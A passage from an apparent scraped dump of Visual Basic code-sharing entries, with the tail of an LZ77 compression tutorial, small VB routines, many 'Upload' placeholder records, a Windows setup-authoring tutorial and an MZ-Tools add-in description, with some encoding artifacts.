the string find \"444\" and save it as the best match, but continue parsing, and then when we find \"4444\" then we set it to the best match, because it's length is above than the previous. Once we've finished scanning the whole sliding window you get the best length. \nMore for the offset: we may do a variable offset length so it depends on the length of the loop back buffer in the current position. Example: If we are in position 412 bytes we need 9 bits to hold that number, so we read only 9 bits, if we are in 19000 we will read 14 bits. For this you may use a instruction called bsr, wich performs log base2 (X). (the number of bits needed to represent a value) (this instruction is very slow and may be emulated, visit www.agner.org if you are interested in so) Also you should think about a finite sliding window, not an infite, well choose what best suits your needs, but remember the bigger the sliding window, the slower the compressor, but also the better the compression is. \nMore about the offsets: we may do another thing to have variable length offsets, we may use a bit as a flag for saying if we have an offset with the maximum length (let's say 15 bits) or with the minimum length. (9 bits) You should tune this parameters for all kind of files. If you are using the algorithm for just a file (your exe, data or whatever) you should tune this values based on the properties of the file itself. Do the following, compress it, and keep track of how many lengths any offset needed, and also the same for the lengths, and then print them out. And based on this results choose the better values. And save this along with the compressed data, or just recompile both compressor and decompressor, so they use such values. \nBut even there are more improvements. In fact the way we are compressing is the greedy version. There are optimal ways of compression with the lz family of algorithms, usually they work in the following way: they get the better offsets/lengths for every byte, and once they've computed it for the whole file, they scan it again and choose the best pairs. However this topic will not be covered there, instead I'll talk you about a little step towards optimal parsing: Lazy encoding, the theory behind says that sometimes is better discarding some bytes so you can find better matchs. Example, look this string: \"curry urrent current\" Once we are in \"current\" we could choose a match, \"curr\" at offset 0, but a Lazy parser, will temporally discard \"c\" and search for more matches, in this case it will find a match of 6 bytes in \"urrent\". Then it will output the byte \"c\" and the Code Word (offset/length) of the match. Be careful when discarding bytes with Lazy encoding. If you use this scheme let me know. I've already used it. \nThe best solution for optimal parsing seems to be Flexible parsing. \nDo you still need more? Well, there aren't more compression improvements but using an entropy coder for further compression of the data. In fact you can reduce the literals (raw bytes) to the half and match lengths to 1/4. You can use Static Huffman, or Adaptive Huffman, or Arithmetic Coding, or a Range Coder. However, if you don't want to use an entropy coder, or it's too big for your application or whatever, then you can use variable length codes, then have a look at the section with the same name. An entropy coder may reduce the size of the literals to the half, and the match lengts to 1/4, it's worth the job. \nUsually we are using a brute force search method, and this is very slow. So, one big speed improvements is using a binary tree or suffix search tree, it's very fast to acces them. In fact that's what most compressors use. (Look at Mark Nelson's Home page) Another way could be using hashing, lzp uses it to only have to check a few positions. \nAnother speed improvement is described in the next section. \n \nTags \nApart from the slow parsing lz77 also has another problem which can be avoided, the bit Io. How do we avoid it? we just make our elements fit in bytes. Think about it, the literal is already a byte, so no problem with it. The offset and length pair, we can adjust them so they are two bytes or three bytes. A very used solution is the following, 12 bits for the offset (the sliding window is 4096 bytes long) and 4 bits for the length. (its range is from 3-19) Then we just have to find any solution for the flags... We'll group them in a byte. \nNow we'll keep the number of flags write and the data that they represent. (literals and Code Word) So, when we have computed 8 flags with his data we output a byte with the flags together, and then the data, literals and Code Words which also fit in bytes. Usually one uses an sliding window which a length of 4096, and a match length of four bits, thus saving an offset and a match length in one word. \nI never used this method, so if you use it email me, and tell me what data structures you've used for it and the problems \nyou've found, and also the speed improvements. \n \nVariable length codes \nA code is a group of bits which represent a symbol, (value, for example a length) they usually have different lengths. A compressor instead of the symbol it outputs the code, and the decompressor reads the code, and then it gets the symbol associated to it. There are some ways of saving values with codes wich have different lengths, but both of them rely on the fact that values with lower value have more probabilities. \nLet's see the first, it's very easy to implement, so it's very useful if you care about the size of your compressor. The idea is the following, put as many 0s as the value is, and end it with a 1. If we encode the value 0 it has the code 0b, if we encode 1, it \nwill be 01b, if we encode 2 001b, 3 0001b. So you just have to keep track of how many 0s you've read till you read a 1. This is only optimal for a probabilities like the following: \n \nSymbol┬á\nProbability┬á\n0\n8/19┬á\n1\n5/19┬á\n2\n3/19\n3\n2/19\n4\n1/19\nAs you can see those probabilities are the Fibbonaci series, that can annoy a huffman codec, but this is another history, and will be explained in another moment. Also another way of doing variable lengths codes is the following: It tries to use log base2 (symbol) but because it needs a way of telling the decompressor when to stop, it saves the higher value to tell that it should read more bits: \n \n┬áSymbol┬á\nCode┬á\n0\n00┬á\n1\n01\n2\n10┬á\n3\n11 000┬á\n4\n11 001┬á\n5\n11 010\n6\n11 011\n7\n11 100┬á\n8\n11 101\n9\n11 110\n10\n11 111 0000\nThis one is better than the first, a little bit difficult to implement, but not a lot. I learned it in Charles Bloom's home \npage, in the article about lzp. Both those tricks should only be used to represent lengths, and only if we expect that the lengths with lower value are more probable. (they tend to occur more) \n \nClosing words \nFirst af all, if there is any problem with the putbits, don't mind too much, rewrite it, be sure you get and put the bits in a correct way, etc. Now I suppose that you have read the whole text and you still have to start to work, it may seem a little bit difficult, but it isn't, I learned all this stuff in two weeks with the only help of the mentioned articles of the Hugi #12 It was my first compressor, so I had to do the putbits and getbits. If you liked lz77, lzp may be easy to learn. \nI should give some thanks to the following people for the help they provided me: \n┬áCharles Bloom Mark Nelson Picard/Rhyme Ross Williams \nIf you are looking for more info about compression you should have a look at my h-page, http://www.linuxman.2ya.com, where you can find more articles and some useful links. \n \nContacting the author \nIf you located any error, or do you think that something could be explained in a better way, email to: virushacker23@yahoo.com See you in next article! \n \n Jim Reforma, PH 1999-2005\nThis article comes from Jim Reforma home page at http://www.linuxman.2ya.com Visit again soon for new and updated compression articles and software. \n"},{"WorldId":1,"id":58490,"LineNumber":1,"line":"Private Sub RemoveDuplicates(lst As ListView)\nDim lRet As ListItem\nDim strTemp As String\nDim intCnt As Integer\nintCnt = 0\nDo While intCnt <= lst.ListItems.Count - 1\n \n intCnt = intCnt + 1\n 'Save the text that was in the listvew index\n strTemp = lst.ListItems.Item(intCnt).Text\n \n Do\n lst.ListItems.Item(intCnt).Text = \"\" 'Remove the text inside the specific index\n 'Use the FindItem() call to search for the specific item\n Set lRet = lst.FindItem(strTemp, lvwText, lvwPartial)\n 'If the item is found, then it is a duplicate and is removed\n If Not lRet Is Nothing Then\n lst.ListItems.Remove (lRet.Index)\n End If\n Loop While Not lRet Is Nothing 'If no item is found the loop is exited\n \n lst.ListItems.Item(intCnt).Text = strTemp 'reset the listitem index text back to what it was, and then continue\n Debug.Print intCnt\n DoEvents 'Added to ensure that the application does not lock up when doing large amounts of data.\n \nLoop\nEnd Sub"},{"WorldId":1,"id":58492,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58501,"LineNumber":1,"line":"List1.ToolTipText = List1.List((Y \\ (List1.FontSize * 24.4)) + List1.TopIndex)\nput that in the mousemove event"},{"WorldId":1,"id":58502,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58504,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58505,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58512,"LineNumber":1,"line":"Public Sub ForceWindowToShowAllUIStates(ByVal hwnd As Long)\n Const WM_CHANGEUISTATE As Long = &H127\n Const UIS_SET As Long = 1\n Const UIS_CLEAR As Long = 2\n \n Const UISF_HIDEACCEL As Long = &H2\n Const UISF_HIDEFOCUS As Long = &H1\n \n Const CLEAR_IT_ALL As Long = ((UISF_HIDEACCEL Or UISF_HIDEFOCUS) * &H10000) Or UIS_CLEAR\n \n SendMessage hwnd, WM_CHANGEUISTATE, CLEAR_IT_ALL, 0&\n SendMessage hwnd, WM_CHANGEUISTATE, UIS_SET, 0&\n \nEnd Sub"},{"WorldId":1,"id":58515,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58518,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58528,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58548,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58555,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58557,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58562,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58569,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58574,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58582,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58588,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58589,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58591,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58593,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58597,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58604,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58606,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58607,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58610,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58612,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58620,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58622,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58628,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58629,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58637,"LineNumber":1,"line":"<h1>Setup & Deploy\nyour application: Writing A Good Setup For Your Application<o:p></o:p></h1>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nSo youΓÇÖve finally managed to complete your latest\napplication after putting in a lot of last minute effort, spending sleepless\nnights and consuming a million cups of Coffee. Pleased with yourself youΓÇÖre\nready to lean back and relax. The grunt workΓÇÖs all done. Right? Wrong!<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nA veteran programmer wonΓÇÖt consider an application\ncomplete until he has shipped it to the client and waited for 15 days. The\nsuccessful deployment of an application is just as tough if not any harder than\nthe actual coding of the application. I should know, IΓÇÖve made packaged\nsoftware that tens of thousands of users use each day. IΓÇÖve experienced a\nseemingly endless variety of setup problems and provided solutions to them,\nalways after a valiant struggle. This article talks about that. Making setups\nfor your applications that your customers can run to install your app.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nLetΓÇÖs act as if we are absolute beginner and canΓÇÖt tell a\nmouse from the rodent that scurries about our kitchens.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWhat is a setup?<o:p></o:p>\nThe job of the setup is to<o:p></o:p>\n<ol style='margin-top:0in' start=1 type=1>\n <li style='mso-list:l0 level1 lfo1;tab-stops:list .5in'><span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>Copy\n all the files that your application needs to the target computer.<o:p></o:p></li>\n <li style='mso-list:l0 level1 lfo1;tab-stops:list .5in'><span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>Give\n users access to some kind of icon so that he can click on it and run your\n app.<o:p></o:p></li>\n <li style='mso-list:l0 level1 lfo1;tab-stops:list .5in'><span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>Provide\n users with a way to un-install your app (very important) if they later\n want to.<o:p></o:p></li>\n <li style='mso-list:l0 level1 lfo1;tab-stops:list .5in'><span\n style='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'>Perform\n all registry entries, file associations etc., which your application might\n need.<o:p></o:p></li>\n</ol>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>Why do you need a setup?</h1>\nFor the pure and simple reason that in todayΓÇÖs development\nenvironment thereΓÇÖs a very low chance that youΓÇÖll ever make a useful app that\nwill work all by itself. Most applications need other files to function with,\nlike databases, runtime file, DLLs, etc. The setup is needed to make sure that\nall the files/information that your application needs is in place and ready for\nuse. Also it is there to give the user an easy way to install your app on his\ncomputer and make the software accessible to him when he needs it.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>Before we start</h1>\nThis is a comprehensive tutorial, a big one. We are not\ngoing to limit ourselves to any single setup program or issue, but instead try\nto get a working grasp on the setup process itself. <o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>More about MSM files</h1>\nAs applications grow bigger and use more and more\ncomponents, itΓÇÖs often impossible to keep track of all the runtime files and\nregistry entries needed to successfully install them on a PC. Microsoft\ndeveloped the MSM file format to solve this problem. An MSM file is a\ncollection of all files and registry entries needed to install a component in a\nsingle file. Consider it like a zip file with registry information. Most of the\nleading professional setup tools like Installshield, etc., have full support\nfor imports of MSM files into their setup. MicrosoftΓÇÖs tool Visual Studio\nInstaller too supports MSM files. The runtime installations of almost all major\nMicrosoft technologies are now available in the merge module format that you\ncan just drop into your project to install.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>Setup fundamentals</h1>\nLetΓÇÖs explore the basic philosophy behind setup in a little\nmore detail. The task of the setup is to perform all tasks and actions\nnecessary to ensure that your software runs correctly. For most software this\nmeans copying files, performing registry entries and creating an icon that the\nuser can click to run your application. If something unexpected happens and\nyour setup fails, then you have to make sure that you undo all the changes that\nyou made to the userΓÇÖs PC. Your setup should also create an un-installer to\nremove all files and registry entries that you may have made on the computer.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>Making the setup</h1>\nTo illustrate the different steps involved in designing a\nsetup, letΓÇÖs make the setup for an imaginary application called Fooapp. WeΓÇÖll\ngo through the different steps of making the setup for Fooapp and at the same\ntime we will also learn about a number of different problems that you as a\nsetup maker will need to overcome.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>Identify the Dependencies</h1>\nFirst we have to figure out what files to package with\nFooapp. LetΓÇÖs suppose that weΓÇÖre using a database to store the addresses of\nFooCustomers through FooApp, and we also have a set of pictures that we need to\nload in FooApp. Our application depends on these files to run (thus\nΓÇÿdependenciesΓÇÖ). Our setup should copy these files to the correct folder so\nthat our application can access them when it runs. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nWe can call these files the first level dependencies:\nFiles that are unique to your software and are absolutely necessary. These\nfiles are usually copied within the folder where you copy the mail executable\nfor the application (APPDIR). \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn these days of distributed development itΓÇÖs hardly\npossible that you will be able to make an app without using any components.\nThese components may include ActiveX controls, DLL files, .Net assemblies, etc.\nThese files form the second level dependencies for your setup project. These\nfiles are necessary for your application but may be ΓÇÿsharedΓÇÖ by other\napplications.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThere are many strategies to identify the dependencies for\nyour project. You can use a tool like Depends.exe that ships with Visual Studio\nto identify dependencies on DLLs. If your application is made using Visual\nBasic then you can use the ΓÇÿPackage and deployment wizardΓÇÖ to generate a list\nof dependencies for you. Sometimes you will have to use your experience to\nidentify the technologies you have used and the files you need to run it. This\nis especially true when you use a lot of third party components that may in\nturn use other components themselves.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nA good way to make sure that you have all dependencies is\nto keep installing your application on a ΓÇÿcleanΓÇÖ installation of Windows. This\nway you will be able to identify each and every file that your application\nneeds to run.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCopying files<o:p></o:p>\nOnce youΓÇÖve identified all dependencies youΓÇÖre ready to\ncopy them to the target PC. You should know where to drop each file so that\nyour application can use them. HereΓÇÖs a quick categorization of some basic\ntypes.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n├á\nYour application files ΓÇô Your main executable file and all data files\nassociated with it should be copied to the application directory. Although itΓÇÖs\nquite possible to install to and use the data from any directory on the PC,\nitΓÇÖs recommended that you restrict your files to the application directory\nonly. These files may include your database files, pictures, etc.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n├á\nC/C++ Style DLLs ΓÇô The old c/c++ style DLLs have to be referenced by path. When\nyou reference such a DLL (like when calling a Windows API function) Windows\nwill first look in your application directory, and then in the Windows System\ndirectory for that DLL. If it canΓÇÖt find the DLL you will get an error. If\nyouΓÇÖre using one of these DLLs in your project and itΓÇÖs unique to it then you\nshould copy it to your application folder (the directory where you copy the\nmain executable). If youΓÇÖre using a DLL that is used by many applications then\nyou can copy it to the Windows\\System folder. This is just a matter of personal\ntaste.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n├á\nActiveX DLLs and OCX files ΓÇô Before your application can use the ActiveX DLLs\nand custom controls, information about them has to be entered in the Windows\nRegistry. This information includes the Globally Unique Identifier(GUID) for\nthe component, and the path where it resides. By convention ActiveX DLLs and\nOCX files are always copied to the Windows System folder. Although itΓÇÖs\npossible to use an ActiveX file in any other directory too, itΓÇÖs recommended\nthat you copy only to the Windows System folder.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nRegistering ActiveX controls<o:p></o:p>\nAs I told you in the earlier section, any ActiveX file\nthat you use has to be entered in the Windows registry before your application\ncan use it. Microsoft provides a free tool to add this information to registry\nand most setup programs too use it. The tool is ΓÇÿregsvr32.exeΓÇÖ, it can be found\nin your Windows system directory. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nMost setup programs allow you to mark a file for\nregistration. There might be flags like ΓÇÿregserverΓÇÖ (in InnoSetup) or you may\nbe able to select an attribute that will allow you to mark a file for\nregistration. Make sure that you test each file before you mark it for\nregistration in the Windows registry if you mark an invalid file your setup\nwill show an error, and sometimes it may even crash.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nTo test whether a file is valid or not, run the following\ncommand on it ΓÇô ΓÇÿregsever32 filename.ΓÇÖ The file may have to be copied to the\nWindows System directory before you can do it. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nShared Files<o:p></o:p>\nThe concept of ΓÇÿShared filesΓÇÖ is very important and IΓÇÖve\nfound that many first time setup makers who neglect this end up earning the\nwrath of their users afterwards. \n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nIn todayΓÇÖs development scenario almost every programmer\nmakes the use of third party activex components and DLLs. In a common situation\nmany applications installed on a computer will use the same components to run.\nIf during the un-installation process your application deletes these ΓÇÿshared\nfilesΓÇÖ or changes them in any way then those other applications will not run.\nAs a responsible setup maker itΓÇÖs your job to ensure that your application\ninstalls and uninstalls without wrecking any other application on the userΓÇÖs\ncomputer, so you have to take great care that you do not delete any shared file\nfrom the userΓÇÖs PC.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nHow to identify whether a file is shared?\nThe thumb rule is: if itΓÇÖs not unique to your app, itΓÇÖs\nshared. The shared files will include all activex DLLs and OCX controls not\ndeveloped by you exclusively for this application (like the tab control, or the\nchart control), all DLLs that are a part of any standard library (like\nMSVCRT.DLL, or MSVBVM60.DLL, etc). If your setup deletes any of these files\nduring un-installation, you should prepare to welcome a very angry customer at\nyour doorstep.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nOverwriting Used Files<o:p></o:p>\nOften you will need to replace the older version of a DLL\nwith a new version. You can do this without a problem if your DLL file is not\nin use by any other application, however if itΓÇÖs being used by any other app and\nyou try to overwrite it, your setup will crash! Some system DLLs are\nperpetually in use and canΓÇÖt be overwritten at all when Windows is running. To\noverwrite these files you need to reboot Windows and overwrite them before\nWindows loads completely. Most setup making programs allow you to mark such\nfiles for ΓÇÿreboot before overwriting.ΓÇÖ Take care that you identify and mark\nthese files correctly or your setup will never run to the end.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nThe most common files that need re-start for overwriting\nare ΓÇô OLEAUT32.DLL and OLEPRO32.DLL. These files are used by virtually every\nWindows based applications and canΓÇÖt be over-written without re-starting. You\nshould identify the other files manually.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nTo manually identify such files ΓÇô load as many\napplications as you can, and then try copying each file in your application to\nits target location manually using Windows Explorer. If you can successfully\ncopy it then the file does not need rebooting. If you canΓÇÖt, then better mark\nthis file for rebooting.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nCreating icons for your application<o:p></o:p>\nAfter youΓÇÖve finished copying all the files needed to run\nyour program you should create the icons through which your users may run the\napplication you made. If you use a setup making program like Innosetup, or\nInstallshield, you will be able to specify an icon file and the file to which\nthe icon will point. ItΓÇÖs recommended that you create an icon for your main\nexecutable, the help file and also for your companyΓÇÖs webpage.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nYou may also create an icon on the userΓÇÖs desktop and on\nthe quick launch bar if you think your application will be used very often. Do\nmake sure however to ask the user before you create an icon on the desktop or\nthe quick launch bar. ItΓÇÖs bad manners not to.\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>Un-installation</h1>\nUn-installation is just as important as installation for any\nsetup. Most new setup making programs create an un-installer automatically that\nthe user can run from the ΓÇÿAdd/Remove ProgramsΓÇÖ section of the Windows control\npanel. Make sure that you do not remove any vital file that can effect other applications\nduring un-installation (look up the section on shared files above.) However,\nmost of the time this will be transparent to you and will not require any work\nfrom your side, so relax <span style='font-size:10.0pt;mso-bidi-font-size:\n12.0pt;font-family:Wingdings;mso-ascii-font-family:Arial;mso-hansi-font-family:\nArial;mso-bidi-font-family:Arial;mso-char-type:symbol;mso-symbol-font-family:\nWingdings'>J<span\nstyle='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'><o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>ThatΓÇÖs it!</h1>\nYep, thatΓÇÖs the setup making process in a gist, and all the\nimportant precautions have been outlined for you. Your skills will grow from\nsetup to setup though, so get right to it and have fun!<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nDo not forget to test your setup a lot. The best thing to do\nis to install on a clean installation of Windows, and then also on a very-used\ncomputer. Your app should install and work on both,<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<h1>Some free Setup making utilities</h1>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\n<span style='font-size:10.0pt;mso-bidi-font-size:12.0pt;\nfont-family:Wingdings;mso-ascii-font-family:Arial;mso-hansi-font-family:Arial;\nmso-bidi-font-family:Arial;mso-char-type:symbol;mso-symbol-font-family:Wingdings'><span\nstyle='mso-char-type:symbol;mso-symbol-font-family:Wingdings'>├¿<span\nstyle='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'> Innosetup\nΓÇô My favorite setup maker, itΓÇÖs free, fast and efficient. \n(Download: http://jrsoftware.org)<o:p></o:p>\n<span style='font-size:10.0pt;mso-bidi-font-size:12.0pt;\nfont-family:Wingdings;mso-ascii-font-family:Arial;mso-hansi-font-family:Arial;\nmso-bidi-font-family:Arial;mso-char-type:symbol;mso-symbol-font-family:Wingdings'><span\nstyle='mso-char-type:symbol;mso-symbol-font-family:Wingdings'>├¿<span\nstyle='font-size:10.0pt;mso-bidi-font-size:12.0pt;font-family:Arial'> Visual\nStudio Installer 1.1 ΓÇô MicrosoftΓÇÖs installer. Not bad. This is free too.<o:p></o:p>\n(Download:\nhttp://msdn.microsoft.com/vstudio/downloads/tools/vsi11/download1.aspx)<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nInnosetup has a huge community of developers who absolutely\nlove it because of what it can do. ItΓÇÖs one of the fastest installers on the\nnet, itΓÇÖs absolutely free and it can do everything that a professional setup\napplication like Installshield can do (without the fancy bells and whistles\nthough.) However, thereΓÇÖs one important feature that Innosetup doesnΓÇÖt have.\nSupport for Microsoft Merge Modules (.MSM files), thatΓÇÖs where the Microsoft\nvisual studio installer comes in.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nInnosetup also has scripting capabilities and is perfect for\npower programmers who need to make their setups as flexible as they can. The\nonly feature that InnoSetup lacks is support for imaged during installation and\nfor MSM files. Using Innosetup requires some coding skills and youΓÇÖll need to\nspend some time studying it.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nYou should use the MicrosoftΓÇÖs Visual Studio Installer\nwherever you canΓÇÖt use Innosetup. This will mostly include situations in which\nyou canΓÇÖt find an alternative to using MSM files (Installer Microsoft Speech\nAPI 5 for example, the runtimes are only available in MSM format.) Be warned\nthough, Visual Studio setups are slow and klunky. They just canΓÇÖt compare with\nthe blazing speed or ease of use of setups made using Innosetup.<o:p></o:p>\n<![if !supportEmptyParas]> <![endif]><o:p></o:p>\nBy Cyril M Gupta<o:p></o:p>\nCyril@cyrilgupta.com<o:p></o:p>"},{"WorldId":1,"id":58638,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58641,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58645,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58651,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58652,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58653,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58662,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58665,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":58674,"LineNumber":1,"line":"MZ-Tools 3.0 is a freeware 'all-in-one' add-in for Visual \nBasic 6.0, Visual Basic 5.0 and the Visual Basic For Applications \neditor (provided by a VBA-enabled application such as the ones of Office 2000 \nand higher) which adds several productivity features to the IDE. It provides a \nmain menu, a toolbar, handy context menus or customizable shortcuts to access \nthose features.\nThrough a dialog window, you can customize several add-in \nfeatures to meet your development standards (data type prefixes, template for \nprocedure headers, template for error handler, etc.) or your personal \npreferences (user name, shortcuts, etc.)\nFor your convenience, the add-in has been localized in the \nfollowing languages: English, Spanish, French, Italian, German and Portuguese. \nAlthough it is very easy to use the add-in, a help file in HTML Help format is \nalso included, with complete documentation.\nInstallation is as simple as downloading the add-in (a .zip \nfile) to a single folder, unzipping the files and registering the DLL file with \nregsvr32.exe. If you are using the version of the add-in for VB5, you need to \nadd the entry MZTools3VB5.Connect=1 to the vbaddin.ini file of your Windows \ndirectory. If for any reason you do not like the add-in and want to uninstall \nit, simply unregister it with regsvr32.exe /u and delete the files. The add-in \nonly uses components of Visual Basic 6.0, without 3rd party components. \nYou can run the add-in from a local disk or from a network \nshared folder (probably read-only to ensure that all developers of a team are \nusing the same add-in customization established by a team leader).\n<h2>Features</h2>\nThe feature set of MZ-Tools 3.0 is the following (notice that not all \nfeatures of the add-in for Visual Basic 6.0 / 5.0 are present in the version for \nVBA, as it is explained in the help file): \n \n<h3>TabIndex Assistant</h3>\nThe TabIndex Assistant is shown to the left. It shows the \ncontrols of the selected file in the Project Explorer of Visual Basic, sorted by \ntheir TabIndex property. To change the TabIndex property of a control, you can \nuse the buttons with the up and down arrows or drag and drop a control in the \nlist to a new position (multiple drag and drop is supported). However, the \nfastest way to assign the right TabIndex property to each control is clicking \nthe Automatic button.\nWhen you select a control of the list, if the file which it \nbelongs to has the designer window open, the control is selected in the \ndesigner. A very useful way to check if the controls are sorted properly is to \nselect the first control of the list and with the Down Arrow key of the keyboard \nselect the next control, checking in the designer window if the order is right.\nControls are indented showing the hierarchy in the form and \noptionally you can see a warning icon for the controls with a wrong TabIndex \nproperty.\n<h3>Review TabIndex Property</h3>\nThe add-in can review the TabIndex property of the files which use controls \nat project-group, project or file level (through context menus). This review \nuses the same algorithm as the TabIndex Assistant to check if the controls have \nthe right TabIndex property.\nThe results are shown in a Results Window. The \nreview of the TabIndex property can be launched automatically (or you can be \nasked) when you make the executable of a project, that is, clicking some of the\nFile | Make ... menus (this is customizable through the Options window).\n<h3>Find In All Projects</h3>\nThe add-in can find strings in a procedure, module, project, project group or \nselected text. The results are shown in a Results \nWindow which allows you to locate the line within the code window. \n<h3>Replace In All Projects</h3>\nFrom the Results window after a search, you can replace the occurrences found \nwith a new string, one by one or all at the same time. With this two-step \napproach, you can exclude occurrences from the list (simply deleting them) \nbefore the replacing operation.\n<h3>Add Procedure</h3>\nWith an add-in window, you can add properties, functions or subroutines to \nthe code. In contrast to the window that Visual Basic uses, in the add-in window \nyou can select the data type (String, Long, Control, Collection ...). In \naddition, you can add a procedure header and/or error handler in the same step. \nEven if you do not use this kind of dialogs usually to create procedures, you \nwill find it useful when generating multiple pairs of properties Get / Let or \nSet.\nYou can set nomenclature prefixes for the name of variables that the add-in \nwill generate in the Options window.\n<h3>Add Procedure Header</h3>\nYou can add a header to a procedure (above or below the declaration) with a \ncustomizable template which can include predefined variables. \n<h3>Add Error Handler</h3>\nYou can add an error handler to a procedure with a customizable template. If \nthe procedure body is not empty, the add-in merges the error handler with the \nprocedure code. \n<h3>Add Both</h3>\nYou can add the header and error handler to a procedure in one step, to save \ntime. \n<h3>Add Module Header</h3>\nYou can add a header to a module with a customizable template which can \ninclude predefined variables. \n<h3>Procedure Callers</h3>\nThe add-in can find the procedures which call a given procedure. The results \nare shown in a Results Window which allows you to \nlocate the line within the code window. \nI have rewritten the code parser almost from scratch for this version 3.0 and \nthis "second generation" parser (it was untouched from version 1.0) can resolve \nthe context of calls in most situations. That means that if you have two classes \nwith the same "Init" method, and you want to know the calls to the "Init" method \nof the first class, the Procedure Callers feature does not show the calls to the \n"Init" method of the second class.\n<h3>Review Collections</h3>\nThe add-in can review the files that are collections at project-group, \nproject or file level (through context menus). When a class file (.cls \nextension) is reviewed, if it contains the Item or NewEnum methods it is 